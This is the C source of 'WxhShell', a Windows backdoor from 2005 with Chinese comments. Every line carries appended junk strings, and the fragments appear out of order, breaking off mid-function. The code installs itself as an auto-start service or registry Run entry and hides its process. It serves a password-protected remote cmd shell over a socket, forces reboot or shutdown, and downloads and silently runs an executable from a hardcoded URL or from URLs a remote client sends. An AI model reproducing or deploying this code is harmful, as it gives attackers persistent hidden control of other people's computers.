    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TD04/ ISHT  
    if(Boot(SHUTDOWN)) @<_`2eW'/R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =z:U~D  
    else { P ,K\  
    closesocket(wsh); NE"jh_m-  
    ExitThread(0); AH.9A_dG  
    } xfSG~csoz  
    break; /'y5SlE[J  
    } R#4 ^s  
  // 获取shell FoPginZ]J  
  case 's': { J?P]EQU  
    CmdShell(wsh); |t\|:E>" }  
    closesocket(wsh); uC~g#[I QM  
    ExitThread(0); m%QqmTH  
    break; |ia@,*KD  
  } ykq'g|  
  // 退出 X9~m8c){z  
  case 'x': { wVi%oSfM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :G'xi2bs  
    CloseIt(wsh); DM3B]Yl  
    break; Uq X1E  
    } vW' 5 ` %  
  // 离开 b2h":G|s  
  case 'q': { WfGH|u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lv:U%+A  
    closesocket(wsh); M@?"t_e1  
    WSACleanup(); J"[3~&em  
    exit(1); =8{*@>CX  
    break; 8.I9}_  
        }  SNvb1&  
  } $<e +r$1  
  } *kaJ*Ti-/  
%OI4a5V*l  
  // 提示信息 Q?;C4n4]l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7dD.G/'  
} Xyv8LB  
  } K="I<bK  
'7nJb6V,0l  
  return; i+~QDo(Pi  
} vmKT F!;  
k]I*:'178  
// shell模块句柄 ;]&-MFv#  
int CmdShell(SOCKET sock) =|y|P80w  
{ bNvAyKc-  
STARTUPINFO si; B- Y+F  
ZeroMemory(&si,sizeof(si)); Mn"/#tXL-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Riql,g/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5fHYc0  
PROCESS_INFORMATION ProcessInfo; <`JG>H*B6  
char cmdline[]="cmd"; hU,$|_WDy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4]UT+'RubX  
  return 0; *5wv%-  
} 3c 28!3p  
 b~!om  
// 自身启动模式 !b%,'fy)  
int StartFromService(void) ||a`fH  
{ T|f_~#?eV  
typedef struct P`sN&Y~m  
{ gStY8Z!k  
  DWORD ExitStatus; v_-ls"l  
  DWORD PebBaseAddress; >5i?JUZ  
  DWORD AffinityMask; +-HE '4mo  
  DWORD BasePriority; Cnur"?w@o  
  ULONG UniqueProcessId; 3#9M2O\T  
  ULONG InheritedFromUniqueProcessId; ~'f8L #[M  
}   PROCESS_BASIC_INFORMATION; ct\<;I(H  
0=m&^Jpp  
PROCNTQSIP NtQueryInformationProcess; fI[dhd6  
A*Q[k 9B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -HTL5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z1vni'%J  
4 ? {*(  
  HANDLE             hProcess; -~'kP /E^  
  PROCESS_BASIC_INFORMATION pbi; a97Csxf;7  
zMU68vwM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pSrsp r  
  if(NULL == hInst ) return 0; h]C2 8=N  
7Jc<.Z"/Gd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W}k[slqZA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~\bHfiIDy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fhi5LhWe+.  
*'^:S#=  
  if (!NtQueryInformationProcess) return 0; 7S2c|U4IM  
4H7Oh*P\j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nB}e1 /_y  
  if(!hProcess) return 0; /a%KS3>V*  
9<qx!-s2rr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZX]A )5G  
-$tCF>,  
  CloseHandle(hProcess); tnRJ#[Io  
Ko-QR(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q5gP~*?  
if(hProcess==NULL) return 0; coO.kTO;  
tAt;bYjb\  
HMODULE hMod; Eb7}$Ji\  
char procName[255]; Gavkil  
unsigned long cbNeeded; .ftUhg  
J<-Fua^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WV~SL/k|   
~6fRS2u  
  CloseHandle(hProcess); cB36p&%  
.6I%64m  
if(strstr(procName,"services")) return 1; // 以服务启动 G%`cJdM  
V"U~Q=`K  
  return 0; // 注册表启动 ]Qy,#p'~&H  
} q\G{]dz?R  
j>g9\i0O1  
// 主模块 +9}' s{  
int StartWxhshell(LPSTR lpCmdLine) 0, "ZV}  
{ wJr/FE 7c  
  SOCKET wsl; 2?pM5n  
BOOL val=TRUE; R''Sfz>8  
  int port=0; ;>'SV~F  
  struct sockaddr_in door; P ]_Vz  
mlmnkgl ]  
  if(wscfg.ws_autoins) Install(); h?3f5G*&H  
'&{(:,!B  
port=atoi(lpCmdLine); 7Fc |  
aEZJNWv  
if(port<=0) port=wscfg.ws_port; p?KCVvx$  
@+Pf[J41  
  WSADATA data; I$F\(]"@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (F_7%!g1d  
o+R. u}|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    1dXh\r_n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .>a$g7Rj  
  door.sin_family = AF_INET; C!I\Gh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L;kyAX@^  
  door.sin_port = htons(port); f 3\w99\o  
ar=hx+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5M]6'X6I  
closesocket(wsl); 8*"rZh}'  
return 1; d OzO/w&  
} ],!p p3U  
gZ ~y}@L y  
  if(listen(wsl,2) == INVALID_SOCKET) { 2GUhV*TN  
closesocket(wsl); )/i4YLO  
return 1; t>=GVu^  
} [29$~.m$Y  
  Wxhshell(wsl); ^S3A10f,  
  WSACleanup(); X{4xm,B/  
ta2z  
return 0; 78\\8*  
:r[W'h_%  
} #0xm3rFy4  
w2s,  
// 以NT服务方式启动 >l6XZQ >  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @)+i{Niuv  
{ C3^X1F0  
DWORD   status = 0; fdvi}SS8  
  DWORD   specificError = 0xfffffff; pZW}^kg=  
 ; \Y-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $K;_Wf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d8 3+6d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _dz:\v  
  serviceStatus.dwWin32ExitCode     = 0; ok8JnQC  
  serviceStatus.dwServiceSpecificExitCode = 0; CA'hvXb.  
  serviceStatus.dwCheckPoint       = 0; &fh.w]\  
  serviceStatus.dwWaitHint       = 0; K1CMLX]m  
sz){uOI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q|m#IVc  
  if (hServiceStatusHandle==0) return; )GQ D*b  
ntd ":BKi  
status = GetLastError(); Nj"_sA p  
  if (status!=NO_ERROR) FC|y'j 0  
{ !NQf< ch  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GIJV;7~  
    serviceStatus.dwCheckPoint       = 0; C%qtCk_cN  
    serviceStatus.dwWaitHint       = 0; ~0:$G?fz  
    serviceStatus.dwWin32ExitCode     = status; *NKC \aV`0  
    serviceStatus.dwServiceSpecificExitCode = specificError; =rE `ib  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0`zm>fh}  
    return; JB: mbH  
  } bt. K<Y0  
a?f5(qW3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e /ppZ>  
  serviceStatus.dwCheckPoint       = 0; 1mkQ"E4  
  serviceStatus.dwWaitHint       = 0; ant-\w> }  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GZ-n! ^  
} :X]lXock0  
9.]Cy8  
// 处理NT服务事件,比如:启动、停止 ZnxOa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _~(M A-l  
{ kY0g}o'<  
switch(fdwControl) AF07KA#  
{ Qt)7mf  
case SERVICE_CONTROL_STOP: t~udfOvY  
  serviceStatus.dwWin32ExitCode = 0; H znI R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qugPs(uQ  
  serviceStatus.dwCheckPoint   = 0; -b Ipmp?  
  serviceStatus.dwWaitHint     = 0; f^>lObvd  
  { 1-ndJ@Wlz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c9/ 'i  
  } =[O<.'aG-  
  return; FeincZ!M  
case SERVICE_CONTROL_PAUSE: >(YPkmH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~Y}Z4" o  
  break; mw%[qeL V  
case SERVICE_CONTROL_CONTINUE: ~gcst;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r[i~4N=  
  break; 8#d99dOe  
case SERVICE_CONTROL_INTERROGATE: l)2HHu<  
  break; kKI!B`j=  
}; 6='_+{   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tle K (^  
} 7m@^=w  
Z"PDOwj5  
// 标准应用程序主函数 |M0,%~Kt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h)aWerzL  
{ D[FfJcV'$  
b smoLT  
// 获取操作系统版本 Q?I"J$]&L  
OsIsNt=GetOsVer(); Xk7$?8r4&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E|6Z]6[  
jwtXI\@MS  
  // 从命令行安装 8[{0X4y3  
  if(strpbrk(lpCmdLine,"iI")) Install(); %i JU)N!  
[b\lcQ8O  
  // 下载执行文件 hr 6LB&d_  
if(wscfg.ws_downexe) { bx%hizb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `U?H^,FVA  
  WinExec(wscfg.ws_filenam,SW_HIDE); LQ&d|giA  
} 5)o-]S>  
{/[?YTDU  
if(!OsIsNt) { 3K;b~xg`nw  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]!S)O|_D[  
HideProc(); emDvy2uA#  
StartWxhshell(lpCmdLine); x4 A TK  
} yz&q2  
else IQ27FV|3  
  if(StartFromService()) QP-<$P;~  
  // 以服务方式启动 - EX3' [*'  
  StartServiceCtrlDispatcher(DispatchTable); N_WA4?rB  
else \Lh<E5@]  
  // 普通方式启动 9"u @<]  
  StartWxhshell(lpCmdLine); ;@ !d!&  
t+TbCe  
return 0; &#EVE xL  
} @8 yE(  
r~B Qy'  
a[{QlD^D  
7>e~i,  
=========================================== Y=wP3q  
@_weMz8}  
yK2*~T,6@  
7{/:,  
rF j)5~  
'<E8< bi  
" 4 d1Y\  
F|ML$  
#include <stdio.h> S:GUR6g8D  
#include <string.h> do?n /<@o  
#include <windows.h> R?e7#HsJ  
#include <winsock2.h> cB"F1~z  
#include <winsvc.h> o3[sF  
#include <urlmon.h> }_D5, k  
(NWN&  
#pragma comment (lib, "Ws2_32.lib") $vicHuX!  
#pragma comment (lib, "urlmon.lib") PQI,vr'R  
+cOI`4`$  
#define MAX_USER   100 // 最大客户端连接数 .$x[!fuuR&  
#define BUF_SOCK   200 // sock buffer <OO/Tn'a  
#define KEY_BUFF   255 // 输入 buffer oG_'<5Bv>  
$@f3=NJ4k  
#define REBOOT     0   // 重启 rp[oH=&  
#define SHUTDOWN   1   // 关机 UDi3dH=  
rM?Dp2  
#define DEF_PORT   5000 // 监听端口 ,/?V+3l  
aFm]?75  
#define REG_LEN     16   // 注册表键长度 d4eCBqx  
#define SVC_LEN     80   // NT服务名长度 rL+n$p X-  
7 V1k$S(  
// 从dll定义API b2@x(5#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e~~k}2~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F vk: c-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X}QmeY[0I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (7#lN  
qJzK8eW  
// wxhshell配置信息 A;nmua-Fv  
struct WSCFG { Mz. &d:  
  int ws_port;         // 监听端口 `A{~}6jw  
  char ws_passstr[REG_LEN]; // 口令 ;p"XCLHl  
  int ws_autoins;       // 安装标记, 1=yes 0=no .W.U:C1  
  char ws_regname[REG_LEN]; // 注册表键名 a ^/20UFq  
  char ws_svcname[REG_LEN]; // 服务名 Id 7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cMk%]qfVo8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F"P:9`/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;xH'%W9z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c,%>7U(w_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !! #ale&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q5?mP6   
&rWJg6/  
}; TB[2!ZW  
?vNS!rY2&  
// default Wxhshell configuration s H[34gCh;  
struct WSCFG wscfg={DEF_PORT, ~{!!=@6  
    "xuhuanlingzhe", ,#;ahwU~s  
    1, kx(:Z8DX  
    "Wxhshell", }4MG114j  
    "Wxhshell", P(+ar#,G  
            "WxhShell Service", d~$t{46  
    "Wrsky Windows CmdShell Service", 5DUPsV  
    "Please Input Your Password: ", XdVC>6  
  1, g*AqFY7|  
  "http://www.wrsky.com/wxhshell.exe", "G)?  E|  
  "Wxhshell.exe" S60`'!y  
    }; | lfPd  
yiA\$mtO  
// 消息定义模块 V$D d 7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FKm2slzb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }`]^LFU5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .}>[ Kr  
char *msg_ws_ext="\n\rExit."; ~WLsqP5Y~a  
char *msg_ws_end="\n\rQuit."; o>%W7@Pr  
char *msg_ws_boot="\n\rReboot...";  \hc9Rk  
char *msg_ws_poff="\n\rShutdown..."; emO!6]0gJ  
char *msg_ws_down="\n\rSave to "; Bqgw%_  
Vi-@z;k  
char *msg_ws_err="\n\rErr!"; Wd<}|?R  
char *msg_ws_ok="\n\rOK!"; jGPs!64f)  
C`K/ai{4  
char ExeFile[MAX_PATH]; QKQy)g  
int nUser = 0; 014!~c  
HANDLE handles[MAX_USER]; (U<wKk"  
int OsIsNt; ^PszZ10T  
i:To8kdO  
SERVICE_STATUS       serviceStatus; c+VUk*c3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LYv2ll`XP  
ibL;99#  
// 函数声明 ,)8Hl[y  
int Install(void); ``D-pnKK  
int Uninstall(void); Ok\UIi~  
int DownloadFile(char *sURL, SOCKET wsh); wEyh;ID3#  
int Boot(int flag); $dVjxo  
void HideProc(void); WOoVVjMM  
int GetOsVer(void); 2Hj]QN7"   
int Wxhshell(SOCKET wsl); Jr zU-g  
void TalkWithClient(void *cs); \!Pm^FD .  
int CmdShell(SOCKET sock); )JON&~C  
int StartFromService(void); IYPI5qCR  
int StartWxhshell(LPSTR lpCmdLine); [;+YO)  
Z_/03K$q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K+H82$ #  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IFe[3mB5  
N0NMRU]zT  
// 数据结构和表定义 C_o.d~xm  
SERVICE_TABLE_ENTRY DispatchTable[] = 4}`MV.  
{ ?e*vvu33!  
{wscfg.ws_svcname, NTServiceMain}, ~$<@:z{*  
{NULL, NULL} pK%'S  
}; ! >V 1zk  
NaIVKo  
// 自我安装 3dfSu'  
int Install(void) +{&g|V  
{ L[efiiLh$  
  char svExeFile[MAX_PATH]; p*G_$"KpP  
  HKEY key; z> SCv;Q  
  strcpy(svExeFile,ExeFile); =Vfj#WL  
)U?W+0[=  
// 如果是win9x系统,修改注册表设为自启动 ~ i,my31  
if(!OsIsNt) { &x}JC/u]fd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9dAsXEWh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mj pH)6aD0  
  RegCloseKey(key); #v1 4"sZ}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,wjL3c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W\/0&H\i  
  RegCloseKey(key); AkF3F^  
  return 0; *niQ*A  
    } 5 ,HNb  
  } n!2|;|$}Z  
} i?]!8Ji  
else { t+ @F"[j  
0Pe.G0 #  
// 如果是NT以上系统,安装为系统服务 H}X"yLog*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mDhU wZH  
if (schSCManager!=0) ?k-IS5G  
{ pc #^ {-  
  SC_HANDLE schService = CreateService f>o@Y]/l  
  ( pa7fTd  
  schSCManager, Hmz[pTQ|87  
  wscfg.ws_svcname, *Z(qk`e.b  
  wscfg.ws_svcdisp, ^gy(~u  
  SERVICE_ALL_ACCESS, 8EQ;+V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |2 Dlw]d  
  SERVICE_AUTO_START, mdwY48b  
  SERVICE_ERROR_NORMAL, '5IJ;4k  
  svExeFile, "o`( kYSF  
  NULL, YV9%^ZaN7  
  NULL, }v?{npEOt+  
  NULL, h6#  
  NULL, c?|/c9f  
  NULL @<P [z[  
  ); $JOIK9+3z#  
  if (schService!=0) @-wAR=k7  
  { X^?-U ne  
  CloseServiceHandle(schService); a&&EjI  
  CloseServiceHandle(schSCManager); 3WhJ,~o-y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DwI)?a_+  
  strcat(svExeFile,wscfg.ws_svcname); 6*%lnd+_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D:f#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HHdc[pJ0D  
  RegCloseKey(key); ]l4\/E W6  
  return 0; ,YH.n>`s+  
    } {)G3*>sG3  
  } >?5`FC  
  CloseServiceHandle(schSCManager); >DDQ7 l  
} $>+-=XMVB  
} ;9rQN3J$gn  
k[][Md2Vh  
return 1; Y?> S.B7  
} dJkT Hmw  
:=* -x  
// 自我卸载 V[% r5!83H  
int Uninstall(void) 0pu'K)Rb  
{ :]x)lP(3E  
  HKEY key; lB,MVsn18  
^b4o 0me  
if(!OsIsNt) { ;@sxE}`?g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =%bc;ZUu  
  RegDeleteValue(key,wscfg.ws_regname); lps  
  RegCloseKey(key); 8`*(lKiL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #)XO,^s.  
  RegDeleteValue(key,wscfg.ws_regname); Cnc77EUD  
  RegCloseKey(key); ivt\| >  
  return 0; ~j UK-E  
  } X;-,3dy  
} ~_K   
} ;$nK ^  
else { c$p1Sovw  
n^'{{@&(v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NKd):>d%  
if (schSCManager!=0) v5&WW?IBQ  
{ eudPp"Km  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \HRQSfGt  
  if (schService!=0) y`'Ly@s  
  { L%fWa2P'  
  if(DeleteService(schService)!=0) { NvYgRf}uh  
  CloseServiceHandle(schService); ,TL~];J'  
  CloseServiceHandle(schSCManager); {C 7=  
  return 0; ]RxNSr0e  
  } #Qkl| h  
  CloseServiceHandle(schService); CnAhEf)b  
  } 5e/%Tue.  
  CloseServiceHandle(schSCManager); jJ9|  
} ow+NT  
} Yd]f}5F  
v%_sCg  
return 1; sH6srwI  
} e7<~[>g)  
A=BpB}b  
// 从指定url下载文件 T%Z`:mf  
int DownloadFile(char *sURL, SOCKET wsh) jAF DkqH  
{ 3n X7$$X  
  HRESULT hr; =\`9\Gd  
char seps[]= "/"; tr):n@  
char *token; ao 32n  
char *file; m^p Q55,   
char myURL[MAX_PATH]; fz<Y9h=  
char myFILE[MAX_PATH]; _oR6^#5#  
5o&L|7]  
strcpy(myURL,sURL); S&|$F2M  
  token=strtok(myURL,seps); IN_GL18^MV  
  while(token!=NULL) #E>f.:)  
  { |i1z47jN6P  
    file=token; UUX _x?BD  
  token=strtok(NULL,seps); s*rtm  
  } Rb#?c+&#  
5FzG_ w  
GetCurrentDirectory(MAX_PATH,myFILE); V$@@!q  
strcat(myFILE, "\\"); \,~gA   
strcat(myFILE, file); H3MT.Cpd  
  send(wsh,myFILE,strlen(myFILE),0); s9@IOE GAt  
send(wsh,"...",3,0); (/PD;R$b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P^+Og_$  
  if(hr==S_OK) 7v1}8Uk  
return 0; mh|M O(  
else ?jy^WF`  
return 1; OG0ro(|dI  
0M pX.0  
} D7 A{*Tm  
I9B B<~4o  
// 系统电源模块 Bojm lVg  
int Boot(int flag) r)ga{Nn,.  
{ sd Z=3)  
  HANDLE hToken; obUh+9K  
  TOKEN_PRIVILEGES tkp; ?zxKk(J  
8> Gp #T  
  if(OsIsNt) { M1VRc[ RRo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S tn[M|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =T;%R^@  
    tkp.PrivilegeCount = 1; ^k~{6S,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OpYq qBf_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R0{+Xd  
if(flag==REBOOT) { &:w{[H$-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B7va#'ne4{  
  return 0; .3oFSc`q  
} #kk_iS>8  
else { Nqz-Mr`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3)I v8mA  
  return 0; 2L ~U^  
} lYU_uFOs\  
  } RQv`D&u_  
  else { ykM(` 1` m  
if(flag==REBOOT) { Ywlym\ [+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =v1s@5 ;~  
  return 0; o KX!{  
} wN"irXG  
else { K@%.T#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6<FJ`l]U9  
  return 0; E9QNx6 2  
} 7vgz=- MZ#  
} dEns|r  
si0jXue~j\  
return 1;  XW`&1qx  
} ^i#F+Q`1  
XA>@0E>1r  
// win9x进程隐藏模块 H|==i2V{  
void HideProc(void) \/lH]u\x  
{ znX2W0V  
J1&G1\G|s=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O zY&^:>  
  if ( hKernel != NULL ) P7<~S8)Y  
  { 7_n@iUG2n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <eb>/ D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kQwBrb 4  
    FreeLibrary(hKernel); 7J7uHl`yq`  
  } 5H`k$[3V  
h,0mJj-ma  
return; |_ E)2b:h  
} ~{oM&I|d8  
M*{ EK  
// 获取操作系统版本 5k<qJ9  
int GetOsVer(void) 9kQ~)4#  
{ {BDp`uZ  
  OSVERSIONINFO winfo; #2{ };)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sf@g $  
  GetVersionEx(&winfo); @y{Whun~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z Oyq{w!2  
  return 1; "{ AS5jw  
  else 0 B>{31)  
  return 0; HmAA?J}  
} mvlK ~c8  
>Ix)jSNLgo  
// 客户端句柄模块 }vPDCUZ  
int Wxhshell(SOCKET wsl) g_5:o 3s  
{ J'.U+XU  
  SOCKET wsh; ^1Y0JQ  
  struct sockaddr_in client; SP 97Q-  
  DWORD myID; 9=K=gfZ  
] +LleS5  
  while(nUser<MAX_USER) [D^KM|I%+  
{ lpj$\WI=  
  int nSize=sizeof(client); $@7S+'Q3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QY/36gK  
  if(wsh==INVALID_SOCKET) return 1; |*e >hk  
yv[ s)c}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ck/4h Z  
if(handles[nUser]==0) YJ_LD6PL9  
  closesocket(wsh); 3z!\Z[  
else  Jx[IHE  
  nUser++; ~NMal]Fwx  
  } /~K-0K#w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oZA?}#DRl  
mflH&Bx9  
  return 0; XA-DJ  
} |l 03,dOF  
N;9@-Tb  
// 关闭 socket ez"Xb 7  
void CloseIt(SOCKET wsh) pBG(%3PpW  
{ 3BDAvdJ4.  
closesocket(wsh); Sdy\s5  
nUser--; p%jl-CC1  
ExitThread(0); I;S[Ft8d  
} [ft#zxCJ  
Rq%g5lK  
// 客户端请求句柄 /o*r[g7<  
void TalkWithClient(void *cs) k+f!)7_  
{ .nJErC##  
loZJV M  
  SOCKET wsh=(SOCKET)cs; y<.0+YL-e+  
  char pwd[SVC_LEN]; }:5AB93(  
  char cmd[KEY_BUFF]; sZ/~pk  
char chr[1]; eva-?+n\q  
int i,j; s+gZnne  
4=9To|U*  
  while (nUser < MAX_USER) { Ix93/FAn  
qrsPY d  
if(wscfg.ws_passstr) { BQ2EDy=}6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <]r.wn=}M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cor?#  
  //ZeroMemory(pwd,KEY_BUFF); > nDx)!I  
      i=0; ^,]'Ut  
  while(i<SVC_LEN) { TPZZln'3   
/d ?)  
  // 设置超时 rDX_$,3L  
  fd_set FdRead; Z$ {I 4a  
  struct timeval TimeOut; N 3 i ,_  
  FD_ZERO(&FdRead); TL ;2,@H`  
  FD_SET(wsh,&FdRead); +/*g?Vt  
  TimeOut.tv_sec=8; 4&~ft  
  TimeOut.tv_usec=0; 0K <@?cI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?"]fGp6y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Jtnuo]{R  
Uc/MPCqZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'j6PL;~c  
  pwd=chr[0]; O4ciD 1  
  if(chr[0]==0xd || chr[0]==0xa) { B @H.O!  
  pwd=0; , |CT|2D>  
  break; rR@ t5  
  } ,F`:4=H%  
  i++; D642}VD  
    } h@7S hp  
wXIsc;  
  // 如果是非法用户,关闭 socket 6TvlK*<r=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e; 5 n.+m  
} M:z)uLDw  
aT$q1!U`j2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x_CB'Rr6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (.-3q;)6  
Nc:, [8{l  
while(1) { OM*N)*  
;Y5"[C9|  
  ZeroMemory(cmd,KEY_BUFF); _I l/ i&  
4h\MSTF*  
      // 自动支持客户端 telnet标准   QijEb  
  j=0; $m]~d6  
  while(j<KEY_BUFF) { n*(Vf'k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D$ zKkP YI  
  cmd[j]=chr[0]; 8'Sw?FbVA/  
  if(chr[0]==0xa || chr[0]==0xd) { ?sWPx!tU  
  cmd[j]=0; r+-KrO'  
  break; NWd%Za5K;  
  } /bv `_ >  
  j++; e;\g[^U  
    } fEf ",{I  
t33/QW r  
  // 下载文件 jU |0!]  
  if(strstr(cmd,"http://")) { 1A"h!;0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %p6"Sg*  
  if(DownloadFile(cmd,wsh)) Q]9H9?}N?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xq+$Q:f  
  else 7Gd)=Q{uur  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [ &RZ&  
  } Bh$ hgf.C  
